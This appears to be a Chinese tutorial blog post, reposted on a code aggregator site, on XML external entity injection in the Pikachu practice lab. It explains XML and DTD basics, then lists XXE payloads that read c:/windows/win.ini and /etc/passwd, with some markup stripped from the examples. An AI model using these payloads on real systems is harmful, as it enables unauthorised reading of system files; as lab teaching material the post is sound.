码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Pikachu漏洞练习平台之XXE(XML外部实体注入)


    目录

    什么是 XML?

    什么是DTD?

    什么是XEE?

    常见payload


    什么是 XML?

    XML 指可扩展标记语言(EXtensible Markup Language);

    XML 不会做任何事情,而是用来结构化、存储以及传输信息;

    XML 标签没有被预定义,需要我们自行定义标签。

    XML总体由元素组成,元素可以额外附加属性,需要提前定义,元素中可以引用实体。

    XML中的5个预定义实体引用:

    1. &lt; <
    2. &gt; >
    3. &amp; &
    4. &quot; "
    5. ' '

    实体根据引用方式,分为内部实体与外部实体 。

    实体可以理解为变量,必须先在DTD中定义声明,然后在文档中的其他位置引用该变量的值。

    1. <square width="100" /> &a; </square>
    2. 元素 属性 实体

    内部实体:

    "实体的值">
    

    外部实体:

    SYSTEM "URI">
    

    参数实体:

    "实体的值">或者SYSTEM "URI">

     一个 XML 文档实例:

    1. "1.0" encoding="UTF-8"?>
    2. <note>
    3. <to>Toveto>
    4. <from>Janifrom>
    5. <heading>Reminderheading>
    6. <body>Don't forget me this weekend!body>
    7. note>

    第一行是 XML 声明,它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言);下一行描述文档的根元素(本文档是一个便签:);接下来 4 行描述了根的 4 个子元素(to, from, heading 以及 body)。

    什么是DTD?

    文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

     内部的 DOCTYPE 声明:假如 DTD 被包含在 XML 源文件中

    外部文档声明:假如 DTD 位于 XML 源文件的外部

    SYSTEM "文件名">

    带有 DTD 的 XML 文档实例:

    1. "1.0"?>
    2. note [
    3. note (to,from,heading,body)>
    4. to (#PCDATA)>
    5. from (#PCDATA)>
    6. heading (#PCDATA)>
    7. body (#PCDATA)>
    8. ]>
    9. <note>
    10. <to>Toveto>
    11. <from>Janifrom>
    12. <heading>Reminderheading>
    13. <body>Don't forget me this weekendbody>
    14. note>

    在DTD设置了一些变量,然后在XML文档中再使用到这些变量。 

    什么是XEE?

    XXE就是攻击者自定义了XML文件进行了执行,最终效果实现读取系统文件。

    常见payload

    测试代码

    1. "1.0"?>
    2. foo [
    3. xxe 'test' > ]>
    4. <foo>&xxe;foo>

    读取文件的payload

    对于Windows:

    1. "1.0" encoding="UTF-8"?>
    2. foo [
    3. xxe SYSTEM "file:///c:/windows/win.ini" > ]>
    4. <foo>&xxe;foo>

    对于Linux:

    1. "1.0" encoding="UTF-8"?>
    2. foo [
    3. xxe SYSTEM "file:///etc/passwd" > ]>
    4. <foo>&xxe;foo>

    UTF-8(可变长度编码)有时候也用ISO-8859-1(单字节固定长度编码)也可不指定编码

    测试解析xml代码情况

    回显test

    因为我这里的靶场是使用Linux系统搭建的,因此尝试读取 /etc/passwd

    读取成功

  • 相关阅读:
    uni.createInnerAudioContext`在ios手机无法自动播放,可通过`jweixin-module`来解决
    AI五子棋 C++ 借助图形库raylib和raygui 设计模式思考过程和实现思路总结
    volatile关键字是干什么的?他是怎样实现的?
    for 循环遍历次数 记录
    LeetCode75——Day15
    爬虫与反爬虫技术简介
    数学建模--深入剖析线性规划(模型全方位解读+代码分析)
    基于springboot在线考试报名系统毕业设计源码031706
    QT软件开发-基于FFMPEG设计录屏与rtsp、rtmp推流软件(支持桌面与摄像头)(一)
    【操作系统】模块四:进程和线程
  • 原文地址:https://blog.csdn.net/Myon5/article/details/134437760
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号